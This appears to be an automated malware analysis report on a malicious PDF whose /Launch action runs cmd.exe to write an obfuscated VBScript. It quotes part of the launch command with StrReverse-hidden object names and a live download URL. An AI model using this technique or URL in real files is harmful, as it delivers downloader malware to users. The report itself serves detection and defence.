PDF malware analysis — malicious · 8a0e681d37dc9762

MALICIOUS

PDF

794 B

MD5: 972d6029b428f1ceb2886335271d521d SHA-1: b5b287006c626e978c34a4f7a0bf07596d792f73 SHA-256: 8a0e681d37dc9762fe68a68c1ad6c4be14fb4375883dec5d719c8df5caf3ebcb

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to echo a VBScript payload to a file named 'm.vbs' in the user's temporary directory. The VBScript itself is obfuscated but appears to be designed to download and execute further malicious content from the embedded URL http://zoor.in/ps/tmp/m.vbs. The embedded script payload heuristic further confirms the presence of malicious script content.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://zoor.in/ps/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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